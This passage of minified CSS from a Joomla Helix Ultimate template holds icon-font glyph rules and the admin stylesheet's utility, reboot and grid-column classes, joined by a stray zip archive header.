rcle:before{content:"\e217"}.icon-checkmark-2:before{content:"\e218"}.icon-checkmark-circle:before{content:"\e219"}.icon-info:before{content:"\e220"}.icon-info-2:before,.icon-info-circle:before{content:"\e221"}.icon-help:before,.icon-question-sign:before,.icon-question:before{content:"\45"}.icon-question-2:before,.icon-question-circle:before{content:"\e222"}.icon-notification:before{content:"\e223"}.icon-notification-2:before,.icon-notification-circle:before{content:"\e224"}.icon-pending:before,.icon-warning:before{content:"\48"}.icon-warning-2:before,.icon-warning-circle:before{content:"\e225"}.icon-checkbox-unchecked:before{content:"\3d"}.icon-checkbox-checked:before,.icon-checkbox:before,.icon-checkin:before{content:"\3e"}.icon-checkbox-partial:before{content:"\3f"}.icon-square:before{content:"\e226"}.icon-radio-unchecked:before{content:"\e227"}.icon-generic:before,.icon-radio-checked:before{content:"\e228"}.icon-circle:before{content:"\e229"}.icon-signup:before{content:"\e230"}.icon-grid-view:before,.icon-grid:before{content:"\58"}.icon-grid-2:before,.icon-grid-view-2:before{content:"\59"}.icon-menu:before{content:"\5a"}.icon-list-view:before,.icon-list:before{content:"\31"}.icon-list-2:before{content:"\e231"}.icon-menu-3:before{content:"\e232"}.icon-folder-open:before,.icon-folder:before{content:"\2d"}.icon-folder-2:before,.icon-folder-close:before{content:"\2e"}.icon-folder-plus:before{content:"\e234"}.icon-folder-minus:before{content:"\e235"}.icon-folder-3:before{content:"\e236"}.icon-folder-plus-2:before{content:"\e237"}.icon-folder-remove:before{content:"\e238"}.icon-file:before{content:"\e016"}.icon-file-2:before{content:"\e239"}.icon-file-add:before,.icon-file-plus:before{content:"\29"}.icon-file-minus:before{content:"\e017"}.icon-file-check:before{content:"\e240"}.icon-file-remove:before{content:"\e241"}.icon-copy:before,.icon-save-copy:before{content:"\e018"}.icon-stack:before{content:"\e242"}.icon-tree:before{content:"\e243"}.icon-tree-2:before{content:"\e244"}.icon-paragraph-left:before{content:"\e246"}.icon-paragraph-center:before{content:"\e247"}.icon-paragraph-right:before{content:"\e248"}.icon-paragraph-justify:before{content:"\e249"}.icon-screen:before{content:"\e01c"}.icon-tablet:before{content:"\e01d"}.icon-mobile:before{content:"\e01e"}.icon-box-add:before{content:"\51"}.icon-box-remove:before{content:"\52"}.icon-download:before{content:"\e021"}.icon-upload:before{content:"\e022"}.icon-home:before{content:"\21"}.icon-home-2:before{content:"\e250"}.icon-new-tab:before,.icon-out-2:before{content:"\e024"}.icon-new-tab-2:before,.icon-out-3:before{content:"\e251"}.icon-link:before{content:"\e252"}.icon-image:before,.icon-picture:before{content:"\2f"}.icon-images:before,.icon-pictures:before{content:"\30"}.icon-color-palette:before,.icon-palette:before{content:"\e014"}.icon-camera:before{content:"\55"}.icon-camera-2:before,.icon-video:before{content:"\e015"}.icon-play-2:before,.icon-video-2:before,.icon-youtube:before{content:"\56"}.icon-music:before{content:"\57"}.icon-user:before{content:"\22"}.icon-users:before{content:"\e01f"}.icon-vcard:before{content:"\6d"}.icon-address:before{content:"\70"}.icon-out:before,.icon-share-alt:before{content:"\26"}.icon-enter:before{content:"\e257"}.icon-exit:before{content:"\e258"}.icon-comment:before,.icon-comments:before{content:"\24"}.icon-comments-2:before{content:"\25"}.icon-quote:before,.icon-quotes-left:before{content:"\60"}.icon-quote-2:before,.icon-quotes-right:before{content:"\61"}.icon-bubble-quote:before,.icon-quote-3:before{content:"\e259"}.icon-phone:before{content:"\e260"}.icon-phone-2:before{content:"\e261"}.icon-envelope:before,.icon-mail:before{content:"\4d"}.icon-envelope-opened:before,.icon-mail-2:before{content:"\4e"}.icon-drawer:before,.icon-unarchive:before{content:"\4f"}.icon-archive:before,.icon-drawer-2:before{content:"\50"}.icon-briefcase:before{content:"\e020"}.icon-tag:before{content:"\e262"}.icon-tag-2:before{content:"\e263"}.icon-tags:before{content:"\e264"}.icon-tags-2:before{content:"\e265"}.icon-cog:before,.icon-options:before{content:"\38"}.icon-cogs:before{content:"\37"}.icon-screwdriver:before,.icon-tools:before{content:"\36"}.icon-wrench:before{content:"\3a"}.icon-equalizer:before{content:"\39"}.icon-dashboard:before{content:"\78"}.icon-switch:before{content:"\e266"}.icon-filter:before{content:"\54"}.icon-purge:before,.icon-trash:before{content:"\4c"}.icon-checkedout:before,.icon-lock:before,.icon-locked:before{content:"\23"}.icon-unlock:before{content:"\e267"}.icon-key:before{content:"\5f"}.icon-support:before{content:"\46"}.icon-database:before{content:"\62"}.icon-scissors:before{content:"\e268"}.icon-health:before{content:"\6a"}.icon-wand:before{content:"\6b"}.icon-eye-open:before,.icon-eye:before{content:"\3c"}.icon-eye-2:before,.icon-eye-blocked:before,.icon-eye-close:before{content:"\e269"}.icon-clock:before{content:"\6e"}.icon-compass:before{content:"\6f"}.icon-broadcast:before,.icon-connection:before,.icon-wifi:before{content:"\e01b"}.icon-book:before{content:"\e271"}.icon-flash:before,.icon-lightning:before{content:"\79"}.icon-print:before,.icon-printer:before{content:"\e013"}.icon-feed:before{content:"\71"}.icon-calendar:before{content:"\43"}.icon-calendar-2:before{content:"\44"}.icon-calendar-3:before{content:"\e273"}.icon-pie:before{content:"\77"}.icon-bars:before{content:"\76"}.icon-chart:before{content:"\75"}.icon-power-cord:before{content:"\32"}.icon-cube:before{content:"\33"}.icon-puzzle:before{content:"\34"}.icon-attachment:before,.icon-flag-2:before,.icon-paperclip:before{content:"\72"}.icon-lamp:before{content:"\74"}.icon-pin:before,.icon-pushpin:before{content:"\73"}.icon-location:before{content:"\63"}.icon-shield:before{content:"\e274"}.icon-flag:before{content:"\35"}.icon-flag-3:before{content:"\e275"}.icon-bookmark:before{content:"\e023"}.icon-bookmark-2:before{content:"\e276"}.icon-heart:before{content:"\e277"}.icon-heart-2:before{content:"\e278"}.icon-thumbs-up:before{content:"\5b"}.icon-thumbs-down:before{content:"\5c"}.icon-asterisk:before,.icon-star-empty:before,.icon-unfeatured:before{content:"\40"}.icon-star-2:before{content:"\41"}.icon-default:before,.icon-featured:before,.icon-star:before{content:"\42"}.icon-smiley-happy:before,.icon-smiley:before{content:"\e279"}.icon-smiley-2:before,.icon-smiley-happy-2:before{content:"\e280"}.icon-smiley-sad:before{content:"\e281"}.icon-smiley-sad-2:before{content:"\e282"}.icon-smiley-neutral:before{content:"\e283"}.icon-smiley-neutral-2:before{content:"\e284"}.icon-cart:before{content:"\e019"}.icon-basket:before{content:"\e01a"}.icon-credit:before{content:"\e286"}.icon-credit-2:before{content:"\e287"}.icon-expired:before{content:"\4b"}PK!%ۉl�l�1helixultimate/assets/css/admin/helix-ultimate.cssnu&1i�.ui-tooltip{background:#000!important;height:auto!important;max-width:200px!important;padding:5px!important;border-radius:3px!important}.ui-tooltip .ui-tooltip-content{font-size:11px;font-weight:100;color:#fff}.hu-fade-border{height:1px;width:100%;background:linear-gradient(90deg,#eff4fb 0,#7983a7 55.01%,#eff4fb 101.56%);opacity:.4}.hu-m-0{margin:0!important}.hu-m-1{margin:.25rem!important}.hu-m-2{margin:.5rem!important}.hu-m-3{margin:1rem!important}.hu-m-4{margin:1.5rem!important}.hu-m-5{margin:3rem!important}.hu-m-auto{margin:auto!important}.hu-mx-0{margin-right:0!important;margin-left:0!important}.hu-mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.hu-mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.hu-mx-3{margin-right:1rem!important;margin-left:1rem!important}.hu-mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.hu-mx-5{margin-right:3rem!important;margin-left:3rem!important}.hu-mx-auto{margin-right:auto!important;margin-left:auto!important}.hu-my-0{margin-top:0!important;margin-bottom:0!important}.hu-my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.hu-my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.hu-my-3{margin-top:1rem!important;margin-bottom:1rem!important}.hu-my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.hu-my-5{margin-top:3rem!important;margin-bottom:3rem!important}.hu-my-auto{margin-top:auto!important;margin-bottom:auto!important}.hu-mt-0{margin-top:0!important}.hu-mt-1{margin-top:.25rem!important}.hu-mt-2{margin-top:.5rem!important}.hu-mt-3{margin-top:1rem!important}.hu-mt-4{margin-top:1.5rem!important}.hu-mt-5{margin-top:3rem!important}.hu-mt-auto{margin-top:auto!important}.hu-mr-0{margin-right:0!important}.hu-mr-1{margin-right:.25rem!important}.hu-mr-2{margin-right:.5rem!important}.hu-mr-3{margin-right:1rem!important}.hu-mr-4{margin-right:1.5rem!important}.hu-mr-5{margin-right:3rem!important}.hu-mr-auto{margin-right:auto!important}.hu-mb-0{margin-bottom:0!important}.hu-mb-1{margin-bottom:.25rem!important}.hu-mb-2{margin-bottom:.5rem!important}.hu-mb-3{margin-bottom:1rem!important}.hu-mb-4{margin-bottom:1.5rem!important}.hu-mb-5{margin-bottom:3rem!important}.hu-mb-auto{margin-bottom:auto!important}.hu-ml-0{margin-left:0!important}.hu-ml-1{margin-left:.25rem!important}.hu-ml-2{margin-left:.5rem!important}.hu-ml-3{margin-left:1rem!important}.hu-ml-4{margin-left:1.5rem!important}.hu-ml-5{margin-left:3rem!important}.hu-ml-auto{margin-left:auto!important}.hu-input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.hu-input-group>.form-control,.hu-input-group>.form-file,.hu-input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.hu-input-group>.form-control:focus,.hu-input-group>.form-file .form-file-input:focus~.form-file-label,.hu-input-group>.form-select:focus{z-index:3}.hu-input-group>.form-file>.form-file-input:focus{z-index:4}.hu-input-group>.form-file:not(:last-child)>.form-file-label{border-top-right-radius:0;border-bottom-right-radius:0}.hu-input-group>.form-file:not(:first-child)>.form-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.hu-input-group .btn{position:relative;z-index:2}.hu-input-group .btn:focus{z-index:3}.hu-input-group-text{display:flex;align-items:center;padding:6px;font-size:12px;font-weight:400;line-height:1.5;background-color:#fff;color:rgba(var(--dark));text-align:center;white-space:nowrap;border:1px solid rgba(121,127,167,.3);box-shadow:0 1px 1px rgba(20,50,80,.1);border-radius:5px}.hu-input-group>.dropdown-toggle:nth-last-child(n+3),.hu-input-group>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu){border-top-right-radius:0;border-bottom-right-radius:0}.hu-input-group>:not(:first-child):not(.dropdown-menu){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.hu-narrow-input .form-control,.hu-subgroup .hu-input-group>.form-control{padding-left:8px;padding-right:8px}.hu-sr-only{visibility:hidden}.hu-d-none{display:none}.hu-d-flex{display:flex!important}.hu-d-inline-flex{display:inline-flex!important}.hu-align-items-start{align-items:flex-start!important}.hu-align-items-end{align-items:flex-end!important}.hu-align-items-center{align-items:center!important}.hu-justify-content-start{justify-content:flex-start!important}.hu-justify-content-end{justify-content:flex-end!important}.hu-justify-content-center{justify-content:center!important}.hu-justify-content-between{justify-content:space-between!important}.hu-justify-content-around{justify-content:space-around!important}.hu-justify-content-evenly{justify-content:space-evenly!important}:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#868e96;--gray-dark:#343a40;--primary:51,102,255;--secondary:#868e96;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:2,17,83;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,'Helvetica Neue',Arial,sans-serif,'Apple Color Emoji','Segoe UI Emoji','Segoe UI Symbol';--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,'Liberation Mono','Courier New',monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}body,html{height:100%}body{padding-top:40px}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,'Helvetica Neue',Arial,sans-serif,'Apple Color Emoji','Segoe UI Emoji','Segoe UI Symbol';font-size:14px;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex='-1']:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:10px}p{margin-top:0;margin-bottom:16px}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}[role=button],a,area,button,input:not([type=range]),label,select,summary,textarea{-ms-touch-action:manipulation;touch-action:manipulation}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:5px;padding-left:5px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 